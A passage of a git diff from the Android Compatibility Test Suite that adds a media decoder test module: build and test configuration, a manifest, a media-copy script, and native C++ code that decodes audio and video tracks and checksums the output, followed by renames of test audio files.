+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+cc_test_library {
+    name: "libctsmediadecodertest_jni",
+    srcs: [
+        "jni/native-media-jni.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libEGL",
+    ],
+    header_libs: ["liblog_headers"],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+}
+
+android_test {
+    name: "CtsMediaDecoderTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "cts-media-common",
+    ],
+    jni_libs: [
+        "libctscodecutils_jni",
+        "libctsmediacommon_jni",
+        "libctsmediadecodertest_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    resource_dirs: ["res"],
+    aaptflags: [
+        // Do not compress these files:
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    // This test uses private APIs
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/decoder/AndroidManifest.xml b/tests/tests/media/decoder/AndroidManifest.xml
new file mode 100644
index 0000000..d25d904
--- /dev/null
+++ b/tests/tests/media/decoder/AndroidManifest.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.decoder.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="31"/>
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
+
+        <activity android:name="android.media.decoder.cts.DecodeAccuracyTestActivity"
+             android:label="DecodeAccuracyTestActivity"
+             android:screenOrientation="locked"
+             android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.decoder.cts"
+         android:label="CTS tests of android.media">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
new file mode 100644
index 0000000..55fe608
--- /dev/null
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaDecoderTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDecoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
+        <option name="dynamic-config-module" value="CtsMediaDecoderTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.decoder.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 30 min -->
+        <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="4h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/decoder/DynamicConfig.xml b/tests/tests/media/decoder/DynamicConfig.xml
new file mode 100644
index 0000000..f7df099
--- /dev/null
+++ b/tests/tests/media/decoder/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/decoder/CtsMediaDecoderTestCases-1.1.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/decoder/OWNERS b/tests/tests/media/decoder/OWNERS
new file mode 100644
index 0000000..ae8937e
--- /dev/null
+++ b/tests/tests/media/decoder/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+include platform/frameworks/av:/media/janitors/codec_OWNERS
diff --git a/tests/tests/media/decoder/copy_media.sh b/tests/tests/media/decoder/copy_media.sh
new file mode 100755
index 0000000..d5392e5
--- /dev/null
+++ b/tests/tests/media/decoder/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "decoder" "CtsMediaDecoderTestCases-1.1"
diff --git a/tests/tests/media/decoder/jni/native-media-jni.cpp b/tests/tests/media/decoder/jni/native-media-jni.cpp
new file mode 100755
index 0000000..d9a265e
--- /dev/null
+++ b/tests/tests/media/decoder/jni/native-media-jni.cpp
@@ -0,0 +1,475 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Original code copied from NDK Native-media sample code */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMedia"
+#include <log/log.h>
+
+#include <assert.h>
+#include <jni.h>
+#include <mutex>
+#include <queue>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <android/native_window_jni.h>
+
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaDataSource.h"
+#include "media/NdkMediaFormat.h"
+template <class T>
+class simplevector {
+    T *storage;
+    int capacity;
+    int numfilled;
+public:
+    simplevector() {
+        capacity = 16;
+        numfilled = 0;
+        storage = new T[capacity];
+    }
+    ~simplevector() {
+        delete[] storage;
+    }
+
+    void add(T item) {
+        if (numfilled == capacity) {
+            T *old = storage;
+            capacity *= 2;
+            storage = new T[capacity];
+            for (int i = 0; i < numfilled; i++) {
+                storage[i] = old[i];
+            }
+            delete[] old;
+        }
+        storage[numfilled] = item;
+        numfilled++;
+    }
+
+    int size() {
+        return numfilled;
+    }
+
+    T* data() {
+        return storage;
+    }
+};
+
+struct FdDataSource {
+
+    FdDataSource(int fd, jlong offset, jlong size)
+        : mFd(dup(fd)),
+          mOffset(offset),
+          mSize(size) {
+    }
+
+    ssize_t readAt(off64_t offset, void *data, size_t size) {
+        ssize_t ssize = size;
+        if (!data || offset < 0 || offset + ssize < offset) {
+            return -1;
+        }
+        if (offset >= mSize) {
+            return 0; // EOS
+        }
+        if (offset + ssize > mSize) {
+            ssize = mSize - offset;
+        }
+        if (lseek(mFd, mOffset + offset, SEEK_SET) < 0) {
+            return -1;
+        }
+        return read(mFd, data, ssize);
+    }
+
+    ssize_t getSize() {
+        return mSize;
+    }
+
+    void close() {
+        ::close(mFd);
+    }
+
+private:
+
+    int mFd;
+    off64_t mOffset;
+    int64_t mSize;
+
+};
+
+static ssize_t FdSourceReadAt(void *userdata, off64_t offset, void *data, size_t size) {
+    FdDataSource *src = (FdDataSource*) userdata;
+    return src->readAt(offset, data, size);
+}
+
+static ssize_t FdSourceGetSize(void *userdata) {
+    FdDataSource *src = (FdDataSource*) userdata;
+    return src->getSize();
+}
+
+static void FdSourceClose(void *userdata) {
+    FdDataSource *src = (FdDataSource*) userdata;
+    src->close();
+}
+
+class CallbackData {
+    std::mutex mMutex;
+    std::queue<int32_t> mInputBufferIds;
+    std::queue<int32_t> mOutputBufferIds;
+    std::queue<AMediaCodecBufferInfo> mOutputBufferInfos;
+    std::queue<AMediaFormat*> mFormats;
+
+public:
+    CallbackData() { }
+
+    ~CallbackData() {
+        mMutex.lock();
+        while (!mFormats.empty()) {
+            AMediaFormat* format = mFormats.front();
+            mFormats.pop();
+            AMediaFormat_delete(format);
+        }
+        mMutex.unlock();
+    }
+
+    void addInputBufferId(int32_t index) {
+        mMutex.lock();
+        mInputBufferIds.push(index);
+        mMutex.unlock();
+    }
+
+    int32_t getInputBufferId() {
+        int32_t id = -1;
+        mMutex.lock();
+        if (!mInputBufferIds.empty()) {
+            id = mInputBufferIds.front();
+            mInputBufferIds.pop();
+        }
+        mMutex.unlock();
+        return id;
+    }
+
+    void addOutputBuffer(int32_t index, AMediaCodecBufferInfo *bufferInfo) {
+        mMutex.lock();
+        mOutputBufferIds.push(index);
+        mOutputBufferInfos.push(*bufferInfo);
+        mMutex.unlock();
+    }
+
+    void addOutputFormat(AMediaFormat *format) {
+        mMutex.lock();
+        mOutputBufferIds.push(AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED);
+        mFormats.push(format);
+        mMutex.unlock();
+    }
+
+    int32_t getOutput(AMediaCodecBufferInfo *bufferInfo, AMediaFormat **format) {
+        int32_t id = AMEDIACODEC_INFO_TRY_AGAIN_LATER;
+        mMutex.lock();
+        if (!mOutputBufferIds.empty()) {
+            id = mOutputBufferIds.front();
+            mOutputBufferIds.pop();
+
+            if (id >= 0) {
+                *bufferInfo = mOutputBufferInfos.front();
+                mOutputBufferInfos.pop();
+            } else {  // AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED
+                *format = mFormats.front();
+                mFormats.pop();
+            }
+        }
+        mMutex.unlock();
+        return id;
+    }
+};
+
+static void OnInputAvailableCB(
+        AMediaCodec * /* aMediaCodec */,
+        void *userdata,
+        int32_t index) {
+    ALOGV("OnInputAvailableCB: index(%d)", index);
+    CallbackData *callbackData = (CallbackData *)userdata;
+    callbackData->addInputBufferId(index);
+}
+
+static void OnOutputAvailableCB(
+        AMediaCodec * /* aMediaCodec */,
+        void *userdata,
+        int32_t index,
+        AMediaCodecBufferInfo *bufferInfo) {
+    ALOGV("OnOutputAvailableCB: index(%d), (%d, %d, %lld, 0x%x)",
+          index, bufferInfo->offset, bufferInfo->size,
+          (long long)bufferInfo->presentationTimeUs, bufferInfo->flags);
+    CallbackData *callbackData = (CallbackData *)userdata;
+    callbackData->addOutputBuffer(index, bufferInfo);
+}
+
+static void OnFormatChangedCB(
+        AMediaCodec * /* aMediaCodec */,
+        void *userdata,
+        AMediaFormat *format) {
+    ALOGV("OnFormatChangedCB: format(%s)", AMediaFormat_toString(format));
+    CallbackData *callbackData = (CallbackData *)userdata;
+    callbackData->addOutputFormat(format);
+}
+
+static void OnErrorCB(
+        AMediaCodec * /* aMediaCodec */,
+        void * /* userdata */,
+        media_status_t err,
+        int32_t actionCode,
+        const char *detail) {
+    ALOGV("OnErrorCB: err(%d), actionCode(%d), detail(%s)", err, actionCode, detail);
+}
+
+static int adler32(const uint8_t *input, int len) {
+
+    int a = 1;
+    int b = 0;
+    for (int i = 0; i < len; i++) {
+        a += input[i];
+        b += a;
+        a = a % 65521;
+        b = b % 65521;
+    }
+    int ret = b * 65536 + a;
+    ALOGV("adler %d/%d", len, ret);
+    return ret;
+}
+
+static int checksum(const uint8_t *in, int len, AMediaFormat *format) {
+    int width, stride, height;
+    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &width)) {
+        width = len;
+    }
+    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_STRIDE, &stride)) {
+        stride = width;
+    }
+    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &height)) {
+        height = 1;
+    }
+    uint8_t *bb = new uint8_t[width * height];
+    for (int i = 0; i < height; i++) {
+        memcpy(bb + i * width, in + i * stride, width);
+    }
+    // bb is filled with data
+    int sum = adler32(bb, width * height);
+    delete[] bb;
+    return sum;
+}
+
+extern "C" jobject Java_android_media_decoder_cts_NativeDecoderTest_getDecodedDataNative(
+        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong size, jboolean wrapFd,
+        jboolean useCallback) {
+    ALOGV("getDecodedDataNative");
+
+    FdDataSource fdSrc(fd, offset, size);
+    AMediaExtractor *ex = AMediaExtractor_new();
+    AMediaDataSource *ndkSrc = AMediaDataSource_new();
+
+    int err;
+    if (wrapFd) {
+        AMediaDataSource_setUserdata(ndkSrc, &fdSrc);
+        AMediaDataSource_setReadAt(ndkSrc, FdSourceReadAt);
+        AMediaDataSource_setGetSize(ndkSrc, FdSourceGetSize);
+        AMediaDataSource_setClose(ndkSrc, FdSourceClose);
+        err = AMediaExtractor_setDataSourceCustom(ex, ndkSrc);
+    } else {
+        err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
+    }
+    if (err != 0) {
+        ALOGE("setDataSource error: %d", err);
+        return NULL;
+    }
+
+    int numtracks = AMediaExtractor_getTrackCount(ex);
+
+    AMediaCodec **codec = new AMediaCodec*[numtracks];
+    AMediaFormat **format = new AMediaFormat*[numtracks];
+    memset(format, 0, sizeof(AMediaFormat*) * numtracks);
+    bool *sawInputEOS = new bool[numtracks];
+    bool *sawOutputEOS = new bool[numtracks];
+    simplevector<int> *sizes = new simplevector<int>[numtracks];
+    CallbackData *callbackData = new CallbackData[numtracks];
+
+    ALOGV("input has %d tracks", numtracks);
+    for (int i = 0; i < numtracks; i++) {
+        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
+        const char *s = AMediaFormat_toString(format);
+        ALOGI("track %d format: %s", i, s);
+        const char *mime;
+        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
+            ALOGE("no mime type");
+            return NULL;
+        } else if (!strncmp(mime, "audio/", 6) || !strncmp(mime, "video/", 6)) {
+            codec[i] = AMediaCodec_createDecoderByType(mime);
+            AMediaCodec_configure(codec[i], format, NULL /* surface */, NULL /* crypto */, 0);
+            if (useCallback) {
+                AMediaCodecOnAsyncNotifyCallback aCB = {
+                    OnInputAvailableCB,
+                    OnOutputAvailableCB,
+                    OnFormatChangedCB,
+                    OnErrorCB
+                };
+                AMediaCodec_setAsyncNotifyCallback(codec[i], aCB, &callbackData[i]);
+            }
+            AMediaCodec_start(codec[i]);
+            sawInputEOS[i] = false;
+            sawOutputEOS[i] = false;
+        } else {
+            ALOGE("expected audio or video mime type, got %s", mime);
+            return NULL;
+        }
+        AMediaFormat_delete(format);
+        AMediaExtractor_selectTrack(ex, i);
+    }
+    int eosCount = 0;
+    while(eosCount < numtracks) {
+        int t = AMediaExtractor_getSampleTrackIndex(ex);
+        if (t >=0) {
+            ssize_t bufidx;
+            if (useCallback) {
+                bufidx = callbackData[t].getInputBufferId();
+            } else {
+                bufidx = AMediaCodec_dequeueInputBuffer(codec[t], 5000);
+            }
+            ALOGV("track %d, input buffer %zd", t, bufidx);
+            if (bufidx >= 0) {
+                size_t bufsize;
+                uint8_t *buf = AMediaCodec_getInputBuffer(codec[t], bufidx, &bufsize);
+                int sampleSize = AMediaExtractor_readSampleData(ex, buf, bufsize);
+                ALOGV("read %d", sampleSize);
+                if (sampleSize < 0) {
+                    sampleSize = 0;
+                    sawInputEOS[t] = true;
+                    ALOGV("EOS");
+                    //break;
+                }
+                int64_t presentationTimeUs = AMediaExtractor_getSampleTime(ex);
+
+                AMediaCodec_queueInputBuffer(codec[t], bufidx, 0, sampleSize, presentationTimeUs,
+                        sawInputEOS[t] ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
+                AMediaExtractor_advance(ex);
+            }
+        } else {
+            ALOGV("@@@@ no more input samples");
+            for (int tt = 0; tt < numtracks; tt++) {
+                if (!sawInputEOS[tt]) {
+                    // we ran out of samples without ever signaling EOS to the codec,
+                    // so do that now
+                    int bufidx;
+                    if (useCallback) {
+                        bufidx = callbackData[tt].getInputBufferId();
+                    } else {
+                        bufidx = AMediaCodec_dequeueInputBuffer(codec[tt], 5000);
+                    }
+                    if (bufidx >= 0) {
+                        AMediaCodec_queueInputBuffer(codec[tt], bufidx, 0, 0, 0,
+                                AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
+                        sawInputEOS[tt] = true;
+                    }
+                }
+            }
+        }
+
+        // check all codecs for available data
+        AMediaCodecBufferInfo info;
+        AMediaFormat *outputFormat;
+        for (int tt = 0; tt < numtracks; tt++) {
+            if (!sawOutputEOS[tt]) {
+                int status;
+                if (useCallback) {
+                    status = callbackData[tt].getOutput(&info, &outputFormat);
+                } else {
+                    status = AMediaCodec_dequeueOutputBuffer(codec[tt], &info, 1);
+                }
+                ALOGV("dequeueoutput on track %d: %d", tt, status);
+                if (status >= 0) {
+                    if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+                        ALOGV("EOS on track %d", tt);
+                        sawOutputEOS[tt] = true;
+                        eosCount++;
+                    }
+                    ALOGV("got decoded buffer for track %d, size %d", tt, info.size);
+                    if (info.size > 0) {
+                        size_t bufsize;
+                        uint8_t *buf = AMediaCodec_getOutputBuffer(codec[tt], status, &bufsize);
+                        int adler = checksum(buf, info.size, format[tt]);
+                        sizes[tt].add(adler);
+                    }
+                    AMediaCodec_releaseOutputBuffer(codec[tt], status, false);
+                } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+                    ALOGV("output buffers changed for track %d", tt);
+                } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+                    if (format[tt] != NULL) {
+                        AMediaFormat_delete(format[tt]);
+                    }
+                    if (useCallback) {
+                        format[tt] = outputFormat;
+                    } else {
+                        format[tt] = AMediaCodec_getOutputFormat(codec[tt]);
+                    }
+                    ALOGV("format changed for track %d: %s", tt, AMediaFormat_toString(format[tt]));
+                } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+                    ALOGV("no output buffer right now for track %d", tt);
+                } else {
+                    ALOGV("unexpected info code for track %d : %d", tt, status);
+                }
+            } else {
+                ALOGV("already at EOS on track %d", tt);
+            }
+        }
+    }
+    ALOGV("decoding loop done");
+
+    // allocate java int array for result and return it
+    int numsamples = 0;
+    for (int i = 0; i < numtracks; i++) {
+        numsamples += sizes[i].size();
+    }
+    ALOGV("checksums: %d", numsamples);
+    jintArray ret = env->NewIntArray(numsamples);
+    jboolean isCopy;
+    jint *org = env->GetIntArrayElements(ret, &isCopy);
+    jint *dst = org;
+    for (int i = 0; i < numtracks; i++) {
+        int *data = sizes[i].data();
+        int len = sizes[i].size();
+        ALOGV("copying %d", len);
+        for (int j = 0; j < len; j++) {
+            *dst++ = data[j];
+        }
+    }
+    env->ReleaseIntArrayElements(ret, org, 0);
+
+    delete[] callbackData;
+    delete[] sizes;
+    delete[] sawOutputEOS;
+    delete[] sawInputEOS;
+    for (int i = 0; i < numtracks; i++) {
+        AMediaFormat_delete(format[i]);
+        AMediaCodec_stop(codec[i]);
+        AMediaCodec_delete(codec[i]);
+    }
+    delete[] format;
+    delete[] codec;
+    AMediaExtractor_delete(ex);
+    AMediaDataSource_delete(ndkSrc);
+    return ret;
+}
diff --git a/tests/tests/media/res/layout/test_runner_activity.xml b/tests/tests/media/decoder/res/layout/test_runner_activity.xml
similarity index 100%
rename from tests/tests/media/res/layout/test_runner_activity.xml
rename to tests/tests/media/decoder/res/layout/test_runner_activity.xml
diff --git a/tests/tests/media/res/raw/noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a
